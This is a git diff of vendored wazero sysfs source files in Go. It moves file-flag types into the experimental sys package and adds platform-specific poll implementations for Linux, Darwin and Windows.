diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go
index bc7a7f7d0c..bcfbfbcd6b 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/open_file_windows.go
@@ -8,12 +8,11 @@ import (
"unsafe"
"github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
)
-func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.Errno) {
- isDir := oflag&fsapi.O_DIRECTORY > 0
+func openFile(path string, oflag sys.Oflag, perm fs.FileMode) (*os.File, sys.Errno) {
+ isDir := oflag&sys.O_DIRECTORY > 0
flag := toOsOpenFlag(oflag)
// TODO: document why we are opening twice
@@ -55,14 +54,14 @@ func openFile(path string, oflag fsapi.Oflag, perm fs.FileMode) (*os.File, sys.E
return f, errno
}
-const supportedSyscallOflag = fsapi.O_NONBLOCK
+const supportedSyscallOflag = sys.O_NONBLOCK
// Map to synthetic values here https://github.com/golang/go/blob/go1.20/src/syscall/types_windows.go#L34-L48
-func withSyscallOflag(oflag fsapi.Oflag, flag int) int {
+func withSyscallOflag(oflag sys.Oflag, flag int) int {
// O_DIRECTORY not defined in windows
// O_DSYNC not defined in windows
// O_NOFOLLOW not defined in windows
- if oflag&fsapi.O_NONBLOCK != 0 {
+ if oflag&sys.O_NONBLOCK != 0 {
flag |= syscall.O_NONBLOCK
}
// O_RSYNC not defined in windows
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go
index e39c92566c..ac0df777a9 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/osfile.go
@@ -5,16 +5,13 @@ import (
"io/fs"
"os"
"runtime"
- "syscall"
- "time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
- "github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/sys"
)
-func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsapi.File {
+func newOsFile(path string, flag experimentalsys.Oflag, perm fs.FileMode, f *os.File) fsapi.File {
// Windows cannot read files written to a directory after it was opened.
// This was noticed in #1087 in zig tests. Use a flag instead of a
// different type.
@@ -26,7 +23,7 @@ func newOsFile(path string, flag fsapi.Oflag, perm fs.FileMode, f *os.File) fsap
// implement api.File.
type osFile struct {
path string
- flag fsapi.Oflag
+ flag experimentalsys.Oflag
perm fs.FileMode
file *os.File
fd uintptr
@@ -44,7 +41,7 @@ type osFile struct {
cachedSt *cachedStat
}
-// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they
+// cachedStat returns the cacheable parts of sys.Stat_t or an error if they
// couldn't be retrieved.
func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) {
if f.cachedSt == nil {
@@ -55,19 +52,19 @@ func (f *osFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno expe
return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0
}
-// Dev implements the same method as documented on fsapi.File
+// Dev implements the same method as documented on sys.File
func (f *osFile) Dev() (uint64, experimentalsys.Errno) {
dev, _, _, errno := f.cachedStat()
return dev, errno
}
-// Ino implements the same method as documented on fsapi.File
+// Ino implements the same method as documented on sys.File
func (f *osFile) Ino() (sys.Inode, experimentalsys.Errno) {
_, ino, _, errno := f.cachedStat()
return ino, errno
}
-// IsDir implements the same method as documented on fsapi.File
+// IsDir implements the same method as documented on sys.File
func (f *osFile) IsDir() (bool, experimentalsys.Errno) {
_, _, isDir, errno := f.cachedStat()
return isDir, errno
@@ -75,19 +72,19 @@ func (f *osFile) IsDir() (bool, experimentalsys.Errno) {
// IsAppend implements File.IsAppend
func (f *osFile) IsAppend() bool {
- return f.flag&fsapi.O_APPEND == fsapi.O_APPEND
+ return f.flag&experimentalsys.O_APPEND == experimentalsys.O_APPEND
}
-// SetAppend implements the same method as documented on fsapi.File
+// SetAppend implements the same method as documented on sys.File
func (f *osFile) SetAppend(enable bool) (errno experimentalsys.Errno) {
if enable {
- f.flag |= fsapi.O_APPEND
+ f.flag |= experimentalsys.O_APPEND
} else {
- f.flag &= ^fsapi.O_APPEND
+ f.flag &= ^experimentalsys.O_APPEND
}
// Clear any create flag, as we are re-opening, not re-creating.
- f.flag &= ^fsapi.O_CREAT
+ f.flag &= ^experimentalsys.O_CREAT
// appendMode (bool) cannot be changed later, so we have to re-open the
// file. https://github.com/golang/go/blob/go1.20/src/os/file_unix.go#L60
@@ -99,7 +96,7 @@ var _ reopenFile = (*fsFile)(nil).reopen
func (f *osFile) reopen() (errno experimentalsys.Errno) {
// Clear any create flag, as we are re-opening, not re-creating.
- f.flag &= ^fsapi.O_CREAT
+ f.flag &= ^experimentalsys.O_CREAT
_ = f.close()
f.file, errno = OpenFile(f.path, f.flag, f.perm)
@@ -114,17 +111,17 @@ func (f *osFile) IsNonblock() bool {
// SetNonblock implements the same method as documented on fsapi.File
func (f *osFile) SetNonblock(enable bool) (errno experimentalsys.Errno) {
if enable {
- f.flag |= fsapi.O_NONBLOCK
+ f.flag |= experimentalsys.O_NONBLOCK
} else {
- f.flag &= ^fsapi.O_NONBLOCK
+ f.flag &= ^experimentalsys.O_NONBLOCK
}
- if err := setNonblock(f.fd, enable); err != nil {
- return fileError(f, f.closed, experimentalsys.UnwrapOSError(err))
+ if errno = setNonblock(f.fd, enable); errno != 0 {
+ return fileError(f, f.closed, errno)
}
return 0
}
-// Stat implements the same method as documented on fsapi.File
+// Stat implements the same method as documented on sys.File
func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
if f.closed {
return sys.Stat_t{}, experimentalsys.EBADF
@@ -140,7 +137,7 @@ func (f *osFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return st, errno
}
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // Short-circuit 0-len reads.
@@ -157,7 +154,7 @@ func (f *osFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
return
}
-// Pread implements the same method as documented on fsapi.File
+// Pread implements the same method as documented on sys.File
func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if n, errno = pread(f.file, buf, off); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -166,7 +163,7 @@ func (f *osFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn
return
}
-// Seek implements the same method as documented on fsapi.File
+// Seek implements the same method as documented on sys.File
func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
if newOffset, errno = seek(f.file, offset, whence); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -182,23 +179,14 @@ func (f *osFile) Seek(offset int64, whence int) (newOffset int64, errno experime
return
}
-// PollRead implements the same method as documented on fsapi.File
-func (f *osFile) PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) {
- fdSet := platform.FdSet{}
- fd := int(f.fd)
- fdSet.Set(fd)
- nfds := fd + 1 // See https://man7.org/linux/man-pages/man2/select.2.html#:~:text=condition%20has%20occurred.-,nfds,-This%20argument%20should
- count, err := _select(nfds, &fdSet, nil, nil, timeout)
- if errno = experimentalsys.UnwrapOSError(err); errno != 0 {
- // Defer validation overhead until we've already had an error.
- errno = fileError(f, f.closed, errno)
- }
- return count > 0, errno
+// Poll implements the same method as documented on fsapi.File
+func (f *osFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) {
+ return poll(f.fd, flag, timeoutMillis)
}
// Readdir implements File.Readdir. Notably, this uses "Readdir", not
// "ReadDir", from os.File.
-func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
+func (f *osFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) {
if f.reopenDir { // re-open the directory if needed.
f.reopenDir = false
if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 {
@@ -212,7 +200,7 @@ func (f *osFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E
return
}
-// Write implements the same method as documented on fsapi.File
+// Write implements the same method as documented on sys.File
func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // Short-circuit 0-len writes.
@@ -226,7 +214,7 @@ func (f *osFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
return
}
-// Pwrite implements the same method as documented on fsapi.File
+// Pwrite implements the same method as documented on sys.File
func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if n, errno = pwrite(f.file, buf, off); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -235,7 +223,7 @@ func (f *osFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err
return
}
-// Truncate implements the same method as documented on fsapi.File
+// Truncate implements the same method as documented on sys.File
func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) {
if errno = experimentalsys.UnwrapOSError(f.file.Truncate(size)); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -244,27 +232,27 @@ func (f *osFile) Truncate(size int64) (errno experimentalsys.Errno) {
return
}
-// Sync implements the same method as documented on fsapi.File
+// Sync implements the same method as documented on sys.File
func (f *osFile) Sync() experimentalsys.Errno {
return fsync(f.file)
}
-// Datasync implements the same method as documented on fsapi.File
+// Datasync implements the same method as documented on sys.File
func (f *osFile) Datasync() experimentalsys.Errno {
return datasync(f.file)
}
-// Utimens implements the same method as documented on fsapi.File
-func (f *osFile) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno {
+// Utimens implements the same method as documented on sys.File
+func (f *osFile) Utimens(atim, mtim int64) experimentalsys.Errno {
if f.closed {
return experimentalsys.EBADF
}
- err := futimens(f.fd, times)
+ err := futimens(f.fd, atim, mtim)
return experimentalsys.UnwrapOSError(err)
}
-// Close implements the same method as documented on fsapi.File
+// Close implements the same method as documented on sys.File
func (f *osFile) Close() experimentalsys.Errno {
if f.closed {
return 0
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go
new file mode 100644
index 0000000000..f5c9829529
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll.go
@@ -0,0 +1,18 @@
+//go:build windows || linux || darwin
+
+package sysfs
+
+import (
+ "github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/internal/fsapi"
+)
+
+// poll implements `Poll` as documented on sys.File via a file descriptor.
+func poll(fd uintptr, flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) {
+ if flag != fsapi.POLLIN {
+ return false, sys.ENOTSUP
+ }
+ fds := []pollFd{newPollFd(fd, _POLLIN, 0)}
+ count, errno := _poll(fds, timeoutMillis)
+ return count > 0, errno
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go
new file mode 100644
index 0000000000..1f7f890937
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.go
@@ -0,0 +1,55 @@
+package sysfs
+
+import (
+ "unsafe"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
+
+// pollFd is the struct to query for file descriptor events using poll.
+type pollFd struct {
+ // fd is the file descriptor.
+ fd int32
+ // events is a bitmap containing the requested events.
+ events int16
+ // revents is a bitmap containing the returned events.
+ revents int16
+}
+
+// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors.
+func newPollFd(fd uintptr, events, revents int16) pollFd {
+ return pollFd{fd: int32(fd), events: events, revents: revents}
+}
+
+// _POLLIN subscribes a notification when any readable data is available.
+const _POLLIN = 0x0001
+
+// _poll implements poll on Darwin via the corresponding libc function.
+func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) {
+ var fdptr *pollFd
+ nfds := len(fds)
+ if nfds > 0 {
+ fdptr = &fds[0]
+ }
+ n1, _, err := syscall_syscall6(
+ libc_poll_trampoline_addr,
+ uintptr(unsafe.Pointer(fdptr)),
+ uintptr(nfds),
+ uintptr(int(timeoutMillis)),
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)))
+ return int(n1), sys.UnwrapOSError(err)
+}
+
+// libc_poll_trampoline_addr is the address of the
+// `libc_poll_trampoline` symbol, defined in `poll_darwin.s`.
+//
+// We use this to invoke the syscall through syscall_syscall6 imported below.
+var libc_poll_trampoline_addr uintptr
+
+// Imports the select symbol from libc as `libc_poll`.
+//
+// Note: CGO mechanisms are used in darwin regardless of the CGO_ENABLED value
+// or the "cgo" build flag. See /RATIONALE.md for why.
+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s
new file mode 100644
index 0000000000..e04fca583b
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_darwin.s
@@ -0,0 +1,8 @@
+// lifted from golang.org/x/sys unix
+#include "textflag.h"
+
+TEXT libc_poll_trampoline<>(SB), NOSPLIT, $0-0
+ JMP libc_poll(SB)
+
+GLOBL ·libc_poll_trampoline_addr(SB), RODATA, $8
+DATA ·libc_poll_trampoline_addr(SB)/8, $libc_poll_trampoline<>(SB)
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go
new file mode 100644
index 0000000000..dab7bb2cab
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_linux.go
@@ -0,0 +1,57 @@
+package sysfs
+
+import (
+ "syscall"
+ "time"
+ "unsafe"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
+
+// pollFd is the struct to query for file descriptor events using poll.
+type pollFd struct {
+ // fd is the file descriptor.
+ fd int32
+ // events is a bitmap containing the requested events.
+ events int16
+ // revents is a bitmap containing the returned events.
+ revents int16
+}
+
+// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors.
+func newPollFd(fd uintptr, events, revents int16) pollFd {
+ return pollFd{fd: int32(fd), events: events, revents: revents}
+}
+
+// _POLLIN subscribes a notification when any readable data is available.
+const _POLLIN = 0x0001
+
+// _poll implements poll on Linux via ppoll.
+func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) {
+ var ts syscall.Timespec
+ if timeoutMillis >= 0 {
+ ts = syscall.NsecToTimespec(int64(time.Duration(timeoutMillis) * time.Millisecond))
+ }
+ return ppoll(fds, &ts)
+}
+
+// ppoll is a poll variant that allows to subscribe to a mask of signals.
+// However, we do not need such mask, so the corresponding argument is always nil.
+func ppoll(fds []pollFd, timespec *syscall.Timespec) (n int, err sys.Errno) {
+ var fdptr *pollFd
+ nfd := len(fds)
+ if nfd != 0 {
+ fdptr = &fds[0]
+ }
+
+ n1, _, errno := syscall.Syscall6(
+ uintptr(syscall.SYS_PPOLL),
+ uintptr(unsafe.Pointer(fdptr)),
+ uintptr(nfd),
+ uintptr(unsafe.Pointer(timespec)),
+ uintptr(unsafe.Pointer(nil)), // sigmask is currently always ignored
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)))
+
+ return int(n1), sys.UnwrapOSError(errno)
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go
new file mode 100644
index 0000000000..ebe8a6fa92
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_unsupported.go
@@ -0,0 +1,13 @@
+//go:build !linux && !darwin && !windows
+
+package sysfs
+
+import (
+ "github.com/tetratelabs/wazero/experimental/sys"
+ "github.com/tetratelabs/wazero/internal/fsapi"
+)
+
+// poll implements `Poll` as documented on fsapi.File via a file descriptor.
+func poll(uintptr, fsapi.Pflag, int32) (bool, sys.Errno) {
+ return false, sys.ENOSYS
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go
new file mode 100644
index 0000000000..82c8b2bafd
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/poll_windows.go
@@ -0,0 +1,224 @@
+package sysfs
+
+import (
+ "syscall"
+ "time"
+ "unsafe"
+
+ "github.com/tetratelabs/wazero/experimental/sys"
+)
+
+var (
+ procWSAPoll = modws2_32.NewProc("WSAPoll")
+ procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo")
+)
+
+const (
+ // _POLLRDNORM subscribes to normal data for read.
+ _POLLRDNORM = 0x0100
+ // _POLLRDBAND subscribes to priority band (out-of-band) data for read.
+ _POLLRDBAND = 0x0200
+ // _POLLIN subscribes a notification when any readable data is available.
+ _POLLIN = (_POLLRDNORM | _POLLRDBAND)
+)
+
+// pollFd is the struct to query for file descriptor events using poll.
+type pollFd struct {
+ // fd is the file descriptor.
+ fd uintptr
+ // events is a bitmap containing the requested events.
+ events int16
+ // revents is a bitmap containing the returned events.
+ revents int16
+}
+
+// newPollFd is a constructor for pollFd that abstracts the platform-specific type of file descriptors.
+func newPollFd(fd uintptr, events, revents int16) pollFd {
+ return pollFd{fd: fd, events: events, revents: revents}
+}
+
+// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles
+const pollInterval = 100 * time.Millisecond
+
+// _poll implements poll on Windows, for a subset of cases.
+//
+// fds may contain any number of file handles, but regular files and pipes are only processed for _POLLIN.
+// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe.
+// Regular files always immediately reported as ready, regardless their actual state and timeouts.
+//
+// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil,
+// i.e. it won't block indefinitely. The given ctx is used to allow for cancellation,
+// and it is currently used only in tests.
+//
+// The implementation actually polls every 100 milliseconds (pollInterval) until it reaches the
+// given timeout (in millis).
+//
+// The duration may be negative, in which case it will wait indefinitely. The given ctx is
+// used to allow for cancellation, and it is currently used only in tests.
+func _poll(fds []pollFd, timeoutMillis int32) (n int, errno sys.Errno) {
+ if fds == nil {
+ return -1, sys.ENOSYS
+ }
+
+ regular, pipes, sockets, errno := partionByFtype(fds)
+ nregular := len(regular)
+ if errno != 0 {
+ return -1, errno
+ }
+
+ // Ticker that emits at every pollInterval.
+ tick := time.NewTicker(pollInterval)
+ tickCh := tick.C
+ defer tick.Stop()
+
+ // Timer that expires after the given duration.
+ // Initialize afterCh as nil: the select below will wait forever.
+ var afterCh <-chan time.Time
+ if timeoutMillis >= 0 {
+ // If duration is not nil, instantiate the timer.
+ after := time.NewTimer(time.Duration(timeoutMillis) * time.Millisecond)
+ defer after.Stop()
+ afterCh = after.C
+ }
+
+ npipes, nsockets, errno := peekAll(pipes, sockets)
+ if errno != 0 {
+ return -1, errno
+ }
+ count := nregular + npipes + nsockets
+ if count > 0 {
+ return count, 0
+ }
+
+ for {
+ select {
+ case <-afterCh:
+ return 0, 0
+ case <-tickCh:
+ npipes, nsockets, errno := peekAll(pipes, sockets)
+ if errno != 0 {
+ return -1, errno
+ }
+ count = nregular + npipes + nsockets
+ if count > 0 {
+ return count, 0
+ }
+ }
+ }
+}
+
+func peekAll(pipes, sockets []pollFd) (npipes, nsockets int, errno sys.Errno) {
+ npipes, errno = peekPipes(pipes)
+ if errno != 0 {
+ return
+ }
+
+ // Invoke wsaPoll with a 0-timeout to avoid blocking.
+ // Timeouts are handled in pollWithContext instead.
+ nsockets, errno = wsaPoll(sockets, 0)
+ if errno != 0 {
+ return
+ }
+
+ count := npipes + nsockets
+ if count > 0 {
+ return
+ }
+
+ return
+}
+
+func peekPipes(fds []pollFd) (n int, errno sys.Errno) {
+ for _, fd := range fds {
+ bytes, errno := peekNamedPipe(syscall.Handle(fd.fd))
+ if errno != 0 {
+ return -1, sys.UnwrapOSError(errno)
+ }
+ if bytes > 0 {
+ n++
+ }
+ }
+ return
+}
+
+// wsaPoll is the WSAPoll function from winsock2.
+//
+// See https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll
+func wsaPoll(fds []pollFd, timeout int) (n int, errno sys.Errno) {
+ if len(fds) > 0 {
+ sockptr := &fds[0]
+ ns, _, e := syscall.SyscallN(
+ procWSAPoll.Addr(),
+ uintptr(unsafe.Pointer(sockptr)),
+ uintptr(len(fds)),
+ uintptr(timeout))
+ if e != 0 {
+ return -1, sys.UnwrapOSError(e)
+ }
+ n = int(ns)
+ }
+ return
+}
+
+// ftype is a type of file that can be handled by poll.
+type ftype uint8
+
+const (
+ ftype_regular ftype = iota
+ ftype_pipe
+ ftype_socket
+)
+
+// partionByFtype checks the type of each fd in fds and returns 3 distinct partitions
+// for regular files, named pipes and sockets.
+func partionByFtype(fds []pollFd) (regular, pipe, socket []pollFd, errno sys.Errno) {
+ for _, pfd := range fds {
+ t, errno := ftypeOf(pfd.fd)
+ if errno != 0 {
+ return nil, nil, nil, errno
+ }
+ switch t {
+ case ftype_regular:
+ regular = append(regular, pfd)
+ case ftype_pipe:
+ pipe = append(pipe, pfd)
+ case ftype_socket:
+ socket = append(socket, pfd)
+ }
+ }
+ return
+}
+
+// ftypeOf checks the type of fd and return the corresponding ftype.
+func ftypeOf(fd uintptr) (ftype, sys.Errno) {
+ h := syscall.Handle(fd)
+ t, err := syscall.GetFileType(h)
+ if err != nil {
+ return 0, sys.UnwrapOSError(err)
+ }
+ switch t {
+ case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK:
+ return ftype_regular, 0
+ case syscall.FILE_TYPE_PIPE:
+ if isSocket(h) {
+ return ftype_socket, 0
+ } else {
+ return ftype_pipe, 0
+ }
+ default:
+ return ftype_regular, 0
+ }
+}
+
+// isSocket returns true if the given file handle
+// is a pipe.
+func isSocket(fd syscall.Handle) bool {
+ r, _, errno := syscall.SyscallN(
+ procGetNamedPipeInfo.Addr(),
+ uintptr(fd),
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)),
+ uintptr(unsafe.Pointer(nil)))
+ return r == 0 || errno != 0
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go
index 1e96e2b4dd..59e331a298 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/readfs.go
@@ -2,57 +2,25 @@ package sysfs
import (
"io/fs"
- "syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
- "github.com/tetratelabs/wazero/internal/fsapi"
)
-// NewReadFS is used to mask an existing fsapi.FS for reads. Notably, this allows
-// the CLI to do read-only mounts of directories the host user can write, but
-// doesn't want the guest wasm to. For example, Python libraries shouldn't be
-// written to at runtime by the python wasm file.
-func NewReadFS(fs fsapi.FS) fsapi.FS {
- if _, ok := fs.(*readFS); ok {
- return fs
- } else if _, ok = fs.(fsapi.UnimplementedFS); ok {
- return fs // unimplemented is read-only
- }
- return &readFS{fs}
-}
-
-type readFS struct {
- fsapi.FS
-}
-
-// OpenFile implements the same method as documented on fsapi.FS
-func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
- // TODO: Once the real implementation is complete, move the below to
- // /RATIONALE.md. Doing this while the type is unstable creates
- // documentation drift as we expect a lot of reshaping meanwhile.
- //
- // Callers of this function expect to either open a valid file handle, or
- // get an error, if they can't. We want to return ENOSYS if opened for
- // anything except reads.
- //
- // Instead, we could return a fake no-op file on O_WRONLY. However, this
- // hurts observability because a later write error to that file will be on
- // a different source code line than the root cause which is opening with
- // an unsupported flag.
- //
- // The tricky part is os.RD_ONLY is typically defined as zero, so while the
- // parameter is named flag, the part about opening read vs write isn't a
- // typical bitflag. We can't compare against zero anyway, because even if
- // there isn't a current flag to OR in with that, there may be in the
- // future. What we do instead is mask the flags about read/write mode and
- // check if they are the opposite of read or not.
- switch flag & (fsapi.O_RDONLY | fsapi.O_WRONLY | fsapi.O_RDWR) {
- case fsapi.O_WRONLY, fsapi.O_RDWR:
- if flag&fsapi.O_DIRECTORY != 0 {
+type ReadFS struct {
+ experimentalsys.FS
+}
+
+// OpenFile implements the same method as documented on sys.FS
+func (r *ReadFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) {
+ // Mask the mutually exclusive bits as they determine write mode.
+ switch flag & (experimentalsys.O_RDONLY | experimentalsys.O_WRONLY | experimentalsys.O_RDWR) {
+ case experimentalsys.O_WRONLY, experimentalsys.O_RDWR:
+ // Return the correct error if a directory was opened for write.
+ if flag&experimentalsys.O_DIRECTORY != 0 {
return nil, experimentalsys.EISDIR
}
return nil, experimentalsys.ENOSYS
- default: // fsapi.O_RDONLY (or no flag) so we are ok!
+ default: // sys.O_RDONLY (integer zero) so we are ok!
}
f, errno := r.FS.OpenFile(path, flag, perm)
@@ -62,80 +30,80 @@ func (r *readFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsap
return &readFile{f}, 0
}
-// Mkdir implements the same method as documented on fsapi.FS
-func (r *readFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno {
+// Mkdir implements the same method as documented on sys.FS
+func (r *ReadFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Chmod implements the same method as documented on fsapi.FS
-func (r *readFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
+// Chmod implements the same method as documented on sys.FS
+func (r *ReadFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Rename implements the same method as documented on fsapi.FS
-func (r *readFS) Rename(from, to string) experimentalsys.Errno {
+// Rename implements the same method as documented on sys.FS
+func (r *ReadFS) Rename(from, to string) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Rmdir implements the same method as documented on fsapi.FS
-func (r *readFS) Rmdir(path string) experimentalsys.Errno {
+// Rmdir implements the same method as documented on sys.FS
+func (r *ReadFS) Rmdir(path string) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Link implements the same method as documented on fsapi.FS
-func (r *readFS) Link(_, _ string) experimentalsys.Errno {
+// Link implements the same method as documented on sys.FS
+func (r *ReadFS) Link(_, _ string) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Symlink implements the same method as documented on fsapi.FS
-func (r *readFS) Symlink(_, _ string) experimentalsys.Errno {
+// Symlink implements the same method as documented on sys.FS
+func (r *ReadFS) Symlink(_, _ string) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Unlink implements the same method as documented on fsapi.FS
-func (r *readFS) Unlink(path string) experimentalsys.Errno {
+// Unlink implements the same method as documented on sys.FS
+func (r *ReadFS) Unlink(path string) experimentalsys.Errno {
return experimentalsys.EROFS
}
-// Utimens implements the same method as documented on fsapi.FS
-func (r *readFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
+// Utimens implements the same method as documented on sys.FS
+func (r *ReadFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno {
return experimentalsys.EROFS
}
// compile-time check to ensure readFile implements api.File.
-var _ fsapi.File = (*readFile)(nil)
+var _ experimentalsys.File = (*readFile)(nil)
type readFile struct {
- fsapi.File
+ experimentalsys.File
}
-// Write implements the same method as documented on fsapi.File.
+// Write implements the same method as documented on sys.File.
func (r *readFile) Write([]byte) (int, experimentalsys.Errno) {
return 0, r.writeErr()
}
-// Pwrite implements the same method as documented on fsapi.File.
+// Pwrite implements the same method as documented on sys.File.
func (r *readFile) Pwrite([]byte, int64) (n int, errno experimentalsys.Errno) {
return 0, r.writeErr()
}
-// Truncate implements the same method as documented on fsapi.File.
+// Truncate implements the same method as documented on sys.File.
func (r *readFile) Truncate(int64) experimentalsys.Errno {
return r.writeErr()
}
-// Sync implements the same method as documented on fsapi.File.
+// Sync implements the same method as documented on sys.File.
func (r *readFile) Sync() experimentalsys.Errno {
return experimentalsys.EBADF
}
-// Datasync implements the same method as documented on fsapi.File.
+// Datasync implements the same method as documented on sys.File.
func (r *readFile) Datasync() experimentalsys.Errno {
return experimentalsys.EBADF
}
-// Utimens implements the same method as documented on fsapi.File.
-func (r *readFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno {
+// Utimens implements the same method as documented on sys.File.
+func (r *readFile) Utimens(int64, int64) experimentalsys.Errno {
return experimentalsys.EBADF
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go
index 5ec22539e4..f7d84ef7ae 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/rename.go
@@ -1,4 +1,4 @@
-//go:build !windows
+//go:build !windows && !plan9
package sysfs
